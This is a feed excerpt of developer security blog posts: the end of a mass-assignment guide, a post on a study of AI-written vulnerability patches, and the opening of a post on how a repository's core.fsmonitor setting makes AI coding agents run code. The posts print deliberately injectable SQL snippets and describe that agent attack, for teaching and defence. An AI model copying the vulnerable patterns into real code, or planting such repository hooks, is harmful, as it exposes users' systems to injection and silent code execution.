  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid fields&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;select&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;bio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;avatarUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Python with Pydantic v2:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pydantic&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ConfigDict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UpdateMe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;model_config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ConfigDict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;extra&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;forbid&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# unknown keys raise a 422
&lt;/span&gt;    &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;bio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;avatar_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/me&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;update_me&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UpdateMe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_user&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_db&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;model_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exclude_unset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="nf"&gt;setattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;commit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I use &lt;code&gt;.strict()&lt;/code&gt; and &lt;code&gt;extra="forbid"&lt;/code&gt; instead of the default behavior on purpose. By default zod strips unknown keys and Pydantic ignores them. That is safe, but silent. Rejecting them turns a probe into a 4xx in your logs, and it makes a test fail loudly the day someone wires the wrong schema to a route.&lt;/p&gt;

&lt;p&gt;To find the bug in an existing codebase, this takes about a minute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rnE&lt;/span&gt; &lt;span class="s2"&gt;"data: *req&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;body|&lt;/span&gt;&lt;span class="se"&gt;\.\.\.&lt;/span&gt;&lt;span class="s2"&gt;req&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;body|Update&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;[^)]*req&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;body"&lt;/span&gt; src/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"setattr("&lt;/span&gt; app/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: What is mass assignment (CWE-915)?&lt;/strong&gt;&lt;br&gt;
A: It is a bug where an endpoint writes client-supplied fields straight into a model, so an attacker can set fields they should never control, like &lt;code&gt;role&lt;/code&gt;, &lt;code&gt;isAdmin&lt;/code&gt; or &lt;code&gt;emailVerified&lt;/code&gt;. OWASP's API Security Top 10 (2023) groups it under API3, Broken Object Property Level Authorization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Does TypeScript or Prisma prevent mass assignment?&lt;/strong&gt;&lt;br&gt;
A: No. Types are erased at runtime, so &lt;code&gt;req.body&lt;/code&gt; contains whatever the client sent. Prisma checks that each field exists in your schema, and &lt;code&gt;role&lt;/code&gt; does.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Is removing &lt;code&gt;role&lt;/code&gt; from &lt;code&gt;req.body&lt;/code&gt; enough?&lt;/strong&gt;&lt;br&gt;
A: No. A denylist misses every other sensitive field and every field added later. Use an allowlist schema that rejects unknown keys.&lt;/p&gt;

&lt;p&gt;I've been running &lt;a href="https://tinyurl.com/25qmjqgp" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; for this. It hooks into Cursor and Claude Code as an MCP server and scans each change before I move on. For this bug class, though, the schema is the real control: a scanner can flag &lt;code&gt;data: req.body&lt;/code&gt;, but only you know which fields a user is allowed to touch. Even the grep above, run once a week, will catch most of what's in this post. The important thing is catching it early, whatever tool you use.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>AI Security Patches Fail 74% of the Time: 6,080 Tested</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Fri, 11 Sep 2026 17:44:53 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/ai-security-patches-fail-74-of-the-time-6080-tested-1dng</link>
      <guid>https://dev.to/c_k_fb750e731394/ai-security-patches-fail-74-of-the-time-6080-tested-1dng</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;1Password's Off-by-1 Labs had ChatGPT 5.5 and Claude Opus 4.8 write 6,080 patches for six real CVEs. Only 26.0% were complete fixes that did not change how the application behaved.&lt;/li&gt;
&lt;li&gt;The common failure is not a broken patch. It is a narrow input check that looks like a fix, passes tests, and leaves the vulnerable code underneath untouched.&lt;/li&gt;
&lt;li&gt;Treat an AI patch as a hypothesis, not a fix. The model that wrote it is the worst possible judge of whether it worked.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I asked Claude to fix a SQL injection a few weeks ago. Nine seconds later I had a diff, a confident summary, and a tidy little sanitizer function. Tests passed. I merged it.&lt;/p&gt;

&lt;p&gt;Two weeks later I found the same injection, one column over.&lt;/p&gt;

&lt;p&gt;I filed that under "I was sloppy" and moved on. Then I read the study that says it is roughly the median outcome.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the Study Actually Found
&lt;/h2&gt;

&lt;p&gt;Frontier models produce a complete, behavior-preserving security patch about 26% of the time. The other three quarters either fail to close the vulnerability, close it while changing how the application works, or close it while opening something new.&lt;/p&gt;

&lt;p&gt;The research is from Off-by-1 Labs, the security team 1Password stood up this year. They published it on August 6, 2026 under a title I wish I had thought of first: "Frontier Models' Vulnerability Patches are Often F.L.A.W.E.D." The acronym stands for Fix-Like Artifacts With Embedded Defects, which is the most precise description of this failure mode I have seen anywhere.&lt;/p&gt;

&lt;p&gt;The setup: two models, ChatGPT 5.5 and Claude Opus 4.8, both running with their vendors' cyber guardrails enabled. Six recently disclosed CVEs, all real and all non-trivial:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CVE-2026-31431, Linux privilege escalation&lt;/li&gt;
&lt;li&gt;CVE-2026-34197, ActiveMQ remote code execution&lt;/li&gt;
&lt;li&gt;CVE-2026-8512, Chrome File System Access API&lt;/li&gt;
&lt;li&gt;CVE-2026-45185, Exim remote code execution&lt;/li&gt;
&lt;li&gt;CVE-2026-22738, Spring AI SpEL remote code execution&lt;/li&gt;
&lt;li&gt;GHSA-wpqr-6v78-jr5g, Gemini CLI remote code execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They generated 6,480 patches in sets of 20, across three environment configurations and nine prompt templates per vulnerability. Then they threw out 400 where the model had clearly gone and retrieved the real upstream fix instead of reasoning its way there, and graded the remaining 6,080 on a five-point scale:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;S1: fixes it, does not change behavior. 26.0%&lt;/li&gt;
&lt;li&gt;S2: fixes it, changes behavior. 20.1%&lt;/li&gt;
&lt;li&gt;S3, S4, S5: does not fix it, or fixes it while introducing something new. 53.9% combined&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Roughly one patch in twenty introduced a fresh vulnerability. More than a third of the patches that graded as successes were still flagged as fragile.&lt;/p&gt;

&lt;p&gt;The number that stuck with me is not the headline. It is this: patches prompted with a correct fix direction closed the bug about two thirds of the time. Patches prompted with a plausible but wrong direction dropped to about one in six. The model is not diagnosing anything. It is executing your framing, confidently, at $2.11 to $2.81 per attempt.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix That Isn't a Fix
&lt;/h2&gt;

&lt;p&gt;The dominant failure mode is a narrowly targeted input guard bolted onto vulnerable code that was never restructured. The study's own words: these patches "guard against vulnerable inputs with narrowly targeted checks, rather than fully addressing the underlying vulnerable code."&lt;/p&gt;

&lt;p&gt;Here is that shape in code you will actually recognize. Start with the injection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// CWE-89, the original&lt;/span&gt;
&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`SELECT * FROM orders WHERE customer = '&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ask a model to fix it without telling it how, and there is a very good chance you get this back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// The "fix" - escapes quotes, keeps the string concatenation&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;safe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/'/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;''&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`SELECT * FROM orders WHERE customer = '&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;safe&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That patch will pass your test suite. It will survive a skim in code review. It reads like security work. And it is still injectable.&lt;/p&gt;

&lt;p&gt;Two reasons. On MySQL with backslash escapes on, which is the default, a backslash before the quote defeats naive quote-doubling outright. And the second someone reuses that &lt;code&gt;safe&lt;/code&gt; helper on a numeric column, where the value is not wrapped in quotes at all, there is nothing left for it to escape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Same helper, no quotes in the query. Zero protection.&lt;/span&gt;
&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`SELECT * FROM orders WHERE id = &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;safe&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vulnerability did not go away. It moved somewhere the diff does not show it. That is the S3 grade in one snippet, and it is why "the AI fixed it" and "it is fixed" are different sentences.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;Models optimize for the visible signature of a fix, because that is what the training data rewards. Scroll through enough security commits and the recurring surface pattern is a sanitizer, a regex, a guard clause added near the top of a function. The invisible part is the restructuring underneath, and restructuring does not look like anything.&lt;/p&gt;

&lt;p&gt;There is a second reason, and it is less comfortable. Patching is a harder task than finding. Finding a vulnerability means recognizing a pattern. Patching it means holding the whole call graph, the trust boundary, and every other caller of that function in your head at once, then changing the code without breaking any of them. The study's own conclusion says it plainly: models that are good at discovering a wide range of vulnerabilities are currently effective at patching only a narrow subset of them.&lt;/p&gt;

&lt;p&gt;The Chromium case in the study is the clearest illustration. Between 38.5% and 41.9% of patches that used the correct fix architecture moved the vulnerability into a callback rather than removing it. Right approach. Right general shape. Bug relocated, not deleted.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Part Nobody Is Reposting
&lt;/h2&gt;

&lt;p&gt;There is a public methodology critique of this study, and it does not make the numbers look better.&lt;/p&gt;

&lt;p&gt;The grading was done by the models under test. Claude and ChatGPT scored their own patches and each other's. Per the critique, that grader agreed with human review only 65.9% of the time. For the Linux kernel CVE, the answer key handed to the grader was an upstream fix that itself carried an off-by-one bug, corrected by the maintainers one commit later. Patches that faithfully reproduced a known kernel bug were graded as clean fixes. The critique counts 129 of 400 ChatGPT patches and 119 of 383 Claude patches reintroducing that off-by-one, with the grader catching 14 and 10 of them respectively.&lt;/p&gt;

&lt;p&gt;I have not independently reproduced any of that, so treat it as a critique rather than a finding. But the direction is worth sitting with. If it holds, 26.0% is the generous reading, and some of the patches inside that 26% are wrong in a way an LLM grader structurally cannot see.&lt;/p&gt;

&lt;p&gt;Which is the actual lesson, and it is bigger than one study. An AI reviewing AI output shares the blind spot that produced the output. You cannot grade your way out of the failure mode using the thing that has the failure mode.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Three rules, and none of them are "stop using AI to write patches."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One: never accept a sanitizer as a fix.&lt;/strong&gt; If the patch adds a check and leaves the vulnerable construction in place, it is a hypothesis. Parameterize the query, resolve the path, bind the parameter. Change the construction, not the input.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Real fix: the value can never be parsed as SQL&lt;/span&gt;
&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SELECT * FROM orders WHERE customer = $1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Same rule, Python
&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM orders WHERE customer = %s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Two: state the fix direction yourself.&lt;/strong&gt; Two thirds versus one in six is the largest single effect in the whole study. If you know the fix should be parameterization, say "use a parameterized query" instead of "fix this SQL injection." You are not asking the model to diagnose. You are asking it to type. Make that explicit and the numbers move.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Three: verify with something that did not write the patch.&lt;/strong&gt; A deterministic scanner does not share the model's blind spot, and it does not get talked out of a finding by a confident summary. Semgrep, gitleaks, your dependency auditor, a real test that sends the malicious input. Anything whose opinion is not downstream of the same weights.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Can AI fix security vulnerabilities reliably?&lt;/strong&gt;&lt;br&gt;
A: Not yet, on hard bugs. Across 6,080 patches for six real CVEs, frontier models produced a complete fix that preserved application behavior 26.0% of the time, and introduced a new vulnerability in roughly 1 in 20 attempts. They are useful for typing a fix you have already specified, and unreliable at deciding what the fix should be.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Why did the AI patch pass my tests if it did not fix the vulnerability?&lt;/strong&gt;&lt;br&gt;
A: Because tests check behavior and most security patches do not change behavior. The common failure is a narrow input guard added on top of vulnerable code that was never restructured. Your happy-path tests still pass, the sanitizer looks like security work in review, and the original construction is still there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Is it safe to let an AI review the patch another AI wrote?&lt;/strong&gt;&lt;br&gt;
A: Treat it as weak evidence. In this study the graders were the models under test, and a public critique of the methodology puts their agreement with human review at 65.9%. An AI reviewer shares the blind spot that produced the code. Use a deterministic scanner or a human as the final check.&lt;/p&gt;

&lt;p&gt;I run &lt;a href="https://tinyurl.com/28tz3o2n" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; on anything an AI touched before I convince myself it is fixed. It hooks into Cursor and Claude Code as an MCP server, so the check happens in the same conversation as the patch, and the scanners are deterministic rather than another model agreeing with the first one. Even a pre-commit hook with semgrep and gitleaks gets you most of the way. The important part is that whatever verifies the patch is not the thing that wrote it.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://1password.com/blog/why-ai-generated-patches-still-require-human-review" rel="noopener noreferrer"&gt;Off-by-1 Labs / 1Password, "Frontier Models' Vulnerability Patches are Often F.L.A.W.E.D.", August 6, 2026&lt;/a&gt; and the &lt;a href="https://www.flyingpenguin.com/disinformation-pushed-by-1password-ai-patching-report-is-false/" rel="noopener noreferrer"&gt;methodology critique&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>GitSpawn: Claude Code Runs Untrusted Repo Code Before You Type</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Tue, 08 Sep 2026 12:42:53 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/gitspawn-claude-code-runs-untrusted-repo-code-before-you-type-3jeg</link>
      <guid>https://dev.to/c_k_fb750e731394/gitspawn-claude-code-runs-untrusted-repo-code-before-you-type-3jeg</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A repository you were sent as a zip can run commands on your machine the second you open it with Claude Code, Cursor, Codex, Goose, Qwen Code, Grok Build or Hermes. No click, no prompt, nothing on screen.&lt;/li&gt;
&lt;li&gt;The repo's own &lt;code&gt;.git/config&lt;/code&gt; names the command. Agents run &lt;code&gt;git status&lt;/code&gt; in the background to gather context, and git obeys &lt;code&gt;core.fsmonitor&lt;/code&gt; during the index refresh.&lt;/li&gt;
&lt;li&gt;Check any repo you did not clone yourself with &lt;code&gt;git config --get core.fsmonitor&lt;/code&gt; before you open it. Setting the global version of that flag does not save you, and I explain why below.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A contractor sends you a project as a zip. You unzip it, cd in, type &lt;code&gt;claude&lt;/code&gt;. That is the entire attack.&lt;/p&gt;

&lt;p&gt;Before the agent shows a workspace-trust prompt, before you type anything, on some agents before you have even authenticated, it runs &lt;code&gt;git status&lt;/code&gt; in the background to work out where it is. Git refreshes its index to answer that. During the refresh it reads a setting out of the folder you just unzipped, and that setting names a program for git to run.&lt;/p&gt;

